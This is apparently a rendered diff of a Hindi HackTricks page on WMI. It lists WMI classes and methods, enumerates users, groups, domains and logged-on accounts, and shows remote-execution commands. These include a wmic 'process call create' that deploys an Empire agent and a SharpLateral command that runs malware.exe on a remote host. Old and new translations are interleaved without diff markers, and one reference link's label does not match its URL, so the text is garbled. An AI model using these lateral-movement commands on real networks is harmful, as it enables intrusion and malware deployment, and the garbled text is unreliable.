||||
WMI कक्षा का नाम जैसे: win32\_process किसी भी WMI क्रिया के लिए एक प्रारंभिक बिंदु है। हमें हमेशा एक कक्षा का नाम और नामस्थान जहां यह स्थित है, जानना आवश्यक है।\
|
||||
`win32` से शुरू होने वाली कक्षाओं की सूची:
|
||||
एक WMI कक्षा का नाम जानना, जैसे win32\_process, और उसके नामस्थान को जानना किसी भी WMI ऑपरेशन के लिए महत्वपूर्ण है।
|
||||
`win32` से शुरू होने वाली कक्षाओं की सूची बनाने के लिए आदेश:
|
||||
```bash
|
||||
Get-WmiObject -Recurse -List -class win32* | more #If no namespace is specified, by default is used: "root\cimv2"
|
||||
Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2"
|
||||
gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*"
|
||||
```
|
||||
एक क्लास को कॉल करें:
|
||||
एक क्लास का आह्वान:
|
||||
```bash
|
||||
#When you don't specify a namespaces by default is "root/cimv2"
|
||||
# Defaults to "root/cimv2" when namespace isn't specified
|
||||
Get-WmiObject -Class win32_share
|
||||
Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus
|
||||
```
|
||||
### तरीके
|
||||
### विधियाँ
|
||||
|
||||
WMI कक्षाओं में एक या अधिक कार्य होते हैं जिन्हें निष्पादित किया जा सकता है। इन कार्यों को तरीके कहा जाता है।
|
||||
विधियाँ, जो WMI क्लास के एक या एक से अधिक कार्यात्मक कार्य होते हैं, को क्रियान्वित किया जा सकता है।
|
||||
```bash
|
||||
#Load a class using [wmiclass], leist methods and call one
|
||||
# Class loading, method listing, and execution
|
||||
$c = [wmiclass]"win32_share"
|
||||
$c.methods
|
||||
#Find information about the class in https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/win32-share
|
||||
$c.Create("c:\share\path","name",0,$null,"My Description")
|
||||
#If returned value is "0", then it was successfully executed
|
||||
# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description")
|
||||
```
|
||||
|
||||
```bash
|
||||
#List methods
|
||||
Get-WmiObject -Query 'Select * From Meta_Class WHERE __Class LIKE "win32%"' | Where-Object { $_.PSBase.Methods } | Select-Object Name, Methods
|
||||
#Call create method from win32_share class
|
||||
# Method listing and invocation
|
||||
Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0)
|
||||
```
|
||||
## WMI एन्यूमरेशन
|
||||
## WMI जाँच
|
||||
|
||||
### WMI सेवा की जाँच करें
|
||||
### WMI सेवा की स्थिति
|
||||
|
||||
यह आप WMI सेवा चल रही है या नहीं यह कैसे जाँच सकते हैं:
|
||||
यदि WMI सेवा कार्यात्मक है या नहीं यह सत्यापित करने के लिए आदेश:
|
||||
```bash
|
||||
#Check if WMI service is running
|
||||
# WMI service status check
|
||||
Get-Service Winmgmt
|
||||
Status Name DisplayName
|
||||
------ ---- -----------
|
||||
Running Winmgmt Windows Management Instrumentation
|
||||
|
||||
#From CMD
|
||||
# Via CMD
|
||||
net start | findstr "Instrumentation"
|
||||
```
|
||||
### सिस्टम जानकारी
|
||||
### सिस्टम और प्रक्रिया सूचना
|
||||
|
||||
WMI के माध्यम से सिस्टम और प्रक्रिया सूचना एकत्र करना:
|
||||
```bash
|
||||
Get-WmiObject -ClassName win32_operatingsystem | select * | more
|
||||
```
|
||||
### प्रक्रिया की जानकारी
|
||||
```bash
|
||||
Get-WmiObject win32_process | Select Name, Processid
|
||||
```
|
||||
एक हमलावर के दृष्टिकोण से, WMI एक सिस्टम या डोमेन के बारे में संवेदनशील जानकारी की पहचान करने में बहुत मूल्यवान हो सकता है।
|
||||
```
|
||||
अटैकर्स के लिए, WMI एक प्रभावशाली उपकरण है जो सिस्टम या डोमेन के बारे में संवेदनशील डेटा की जांच करने के लिए।
|
||||
```bash
|
||||
wmic computerystem list full /format:list
|
||||
wmic process list /format:list
|
||||
wmic ntdomain list /format:list
|
||||
|
@ -105,35 +90,19 @@ wmic useraccount list /format:list
|
|||
wmic group list /format:list
|
||||
wmic sysaccount list /format:list
|
||||
```
|
||||
### **मैन्युअल रिमोट WMI क्वेरी**
|
||||
|
||||
दूरस्थ WMI क्वेरी करके विशिष्ट जानकारी, जैसे स्थानीय एडमिन या लॉग-ऑन उपयोगकर्ता, प्राप्त करना सावधानीपूर्वक निर्मित कमांड के साथ संभव है। `wmic` एक पाठ फ़ाइल से पठन समर्थित करता है ताकि कई नोड पर कमांड को समय-समय पर क्रियान्वित किया जा सके।
|
||||
|
||||
WMI के माध्यम से दूरस्थ एक प्रक्रिया को क्रियान्वित करने के लिए, जैसे कि एक एम्पायर एजेंट डिप्लॉय करना, निम्नलिखित कमांड संरचना का उपयोग किया जाता है, सफल क्रियान्वयन को "0" की वापसी द्वारा सूचित किया जाता है:
|
||||
```bash
|
||||
Get-WmiObject Win32_Processor -ComputerName 10.0.0.182 -Credential $cred
|
||||
wmic /node:hostname /user:user path win32_process call create "empire launcher string here"
|
||||
```
|
||||
## **मैनुअल रिमोट WMI क्वेरीइंग**
|
||||
यह प्रक्रिया WMI की दूरस्थ क्रियान्वयन और सिस्टम जांच की क्षमता को विवरणित करती है, जिससे इसका उपयोग सिस्टम प्रशासन और पेनेट्रेशन टेस्टिंग दोनों के लिए साहायक होता है।
|
||||
|
||||
उदाहरण के लिए, यहाँ एक बहुत ही चुपके से तरीका है दूरस्थ मशीन पर स्थानीय एडमिन्स की खोज करने का (नोट करें कि डोमेन यहाँ कंप्यूटर का नाम है):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
एक और उपयोगी ऑनलाइनर यह देखने के लिए है कि कौन मशीन पर लॉग इन है (जब आप एडमिन्स की तलाश कर रहे हों):
|
||||
```bash
|
||||
wmic /node:ordws01 path win32_loggedonuser get antecedent
|
||||
```
|
||||
`wmic` पाठ फ़ाइल से नोड्स को पढ़ सकता है और उन सभी पर कमांड को निष्पादित कर सकता है। यदि आपके पास कार्यस्थानों की एक पाठ फ़ाइल है:
|
||||
```
|
||||
wmic /node:@workstations.txt path win32_loggedonuser get antecedent
|
||||
```
|
||||
**हम WMI के माध्यम से दूरस्थ रूप से एक प्रक्रिया बनाएंगे ताकि Empire एजेंट को निष्पादित किया जा सके:**
|
||||
```bash
|
||||
wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire launcher string here**"
|
||||
```
|
||||
हम देखते हैं कि यह सफलतापूर्वक निष्पादित हुआ (ReturnValue = 0)। और एक सेकंड बाद हमारा Empire listener इसे पकड़ लेता है। ध्यान दें कि प्रक्रिया ID वही है जो WMI ने लौटाई थी।
|
||||
|
||||
यह सभी जानकारी यहाँ से निकाली गई थी: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
# संदर्भ
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## स्वचालित उपकरण
|
||||
|
||||
|
@ -143,16 +112,18 @@ wmic /node:ordws01 /user:CSCOU\jarrieta path win32_process call create "**empire
|
|||
```bash
|
||||
SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें।
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** का **अनुसरण** करें
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue